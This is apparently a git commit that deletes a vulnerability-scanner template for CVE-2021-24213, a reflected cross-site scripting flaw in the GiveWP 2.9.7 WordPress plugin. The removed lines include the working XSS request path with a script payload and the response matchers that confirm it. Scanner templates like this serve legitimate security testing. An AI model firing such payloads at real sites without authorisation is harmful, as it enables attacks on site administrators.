Removing CVE-2021-24213
As per blog - https://bentl.ee/posts/cve-givewp/ > This vulnerability requires user interaction from an admin in order to be exploited.patch-1
parent
76e95ac1e5
commit
3088fb5431
|
@ -1,29 +0,0 @@
|
|||
id: CVE-2021-24213
|
||||
|
||||
info:
|
||||
name: GiveWP 2.9.7 Reflected Cross-Site Scripting
|
||||
author: dhiyaneshDk
|
||||
severity: medium
|
||||
reference: https://packetstormsecurity.com/files/161933/WordPress-GiveWP-2.9.7-Cross-Site-Scripting.html
|
||||
tags: cve,cve2021,wordpress,xss,wp-plugin
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/wp-admin/edit.php?s=%22%3E<script>alert(0)</script>&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<script>alert(0)</script>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- text/html
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue